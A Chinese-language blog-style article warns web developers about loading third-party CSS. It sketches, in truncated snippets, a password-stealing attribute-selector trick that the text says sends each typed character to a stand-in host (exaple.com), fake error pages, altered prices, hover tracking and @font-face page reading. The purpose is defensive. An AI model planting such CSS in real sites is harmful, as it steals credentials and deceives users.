为了实现高效开发,大多数时候会选择别人实现好的库/组件引用到自己的项目中,但是这样真的安全吗?
大多数web开发者认为只要不使用别人的js
,安全就会有保证。Too young, too naive,殊不知“黑客”已经开始在css
上做手脚了。
在浏览器设置中用户可以禁用js
,但是css
却是没有办法禁用的。
首先聊一聊使用第三方资源,能够造成的危害。
图片
1 | <img src="https://img.com/iphone6s.jpg"> |
引用第三方图片资源,可能会出现2个问题:
- 图片资源失效
- 图片资源被替换
上图展示了使用第三方图片可能带来的后果,图片资源只会影响自身的状态而不会影响其他部分。
脚本
1 | <script src="http://example.com/script.js"></script> |
脚本的作用范围就不是图片能够比拟的了,脚本能够随意控制整个页面。
- 读取、篡改页面内容
- 监控用户行为
- 使用用户浏览器的算力进行挖矿
- 使用用户
cookie
做请求,并转发响应 - 读取、篡改浏览器
storage
- More
注:storage
/indexDB
如果被更改,即使删除了脚本,这些更改仍然不可逆。
只有在完全信任的情况下,才会选择加载第三方脚本。
下面来介绍本文的重头戏 — 第三方css。
CSS
css在作用范围的方面更加接近于js,因为它同样是在整个页面生效。
css能在以下几个方面对页面进行操作:
- 增、删和改页面内容
- 根据页面内容发起请求
- 响应用户交互
与js相比,css不能做到的是修改storage
,也不能用来挖矿。
键盘记录器
键盘记录器,指的是页面会记录用户的输入。目前这种行为只存在于使用React/类React框架的页面。
1 | input[type="password"][value$="p"] { |
如果密码输入框,输入以p
结尾的密码,就会发起一个//exaple.com/password?p
请求。浏览器默认不会记住input
输入框的输入,这也就是为什么说这种行为只存在于使用React/类React框架的页面中,下面截取两个例子。
JD主站没有使用React/类React框架,输入框的内容不会再input
标签中显示value
属性
instagram使用的是React框架,会把输入框的内容同步显示在input
的value
属性中。
有没有通过这个例子,觉得CSS比你想象的强大的多。
隐藏内容
通过一些技巧,将真正的页面内容不展示给用户。
1 | body { |
上例将真正的主体内容隐藏,展示给用户HTTP 500错误。
增加内容
1 | .price-value::after { |
商品涨价了诶,估计连卖家都不知道。遇到这种情况用户一般都不会产生购买欲望了。
移动内容
1 | .move-purchase-button { |
结算按钮被第三方css就这样搞没了,用户根本没办法完成购买行为,这种情况对电商网站很伤,导致“只能看不能买”。
监控用户交互
1 | .login-button:hover { |
通过上面的代码,可以用来检测用户在登录按钮的交互状态,是hover
还是active
(点击),不同的状态会发送不同的请求。
如果页面中适量增加类似css
代码,可以有用来做用户画像分析。
读取页面内容
1 | font-face { |
伪造一种字体blah
,如果页面中有在unicode-range
范围内的字符就会发送设置好的请求,我们这里例子是字符q
。
注:@font-face
中的请求会在开发控制台的Network -> font类型中看到。
也许你觉得只能检测页面中的单个字符作用很小,那我给你介绍一个css的新属性font-variant-ligatures
,通过这个属性我们可以设置字符为连字效果。
但是目前只有OpenType字体支持连字效果,不同的OpenType字体连字显示的效果也不一致。
启用连字效果
1 | body { |
全部都设置完成之后,我们就可以检测特定的连字字符。比如ff连字的unicode码就是\ufb00
。
查询unicode码对应哪些字符,可以通过Unicode® character table进行查询。
总结
通过以上的几个CSS的例子,你是不是觉得CSS也同样强大,不守信的第三方CSS也不可轻易采用。
总结一下,自己的CSS,还得自己写。。。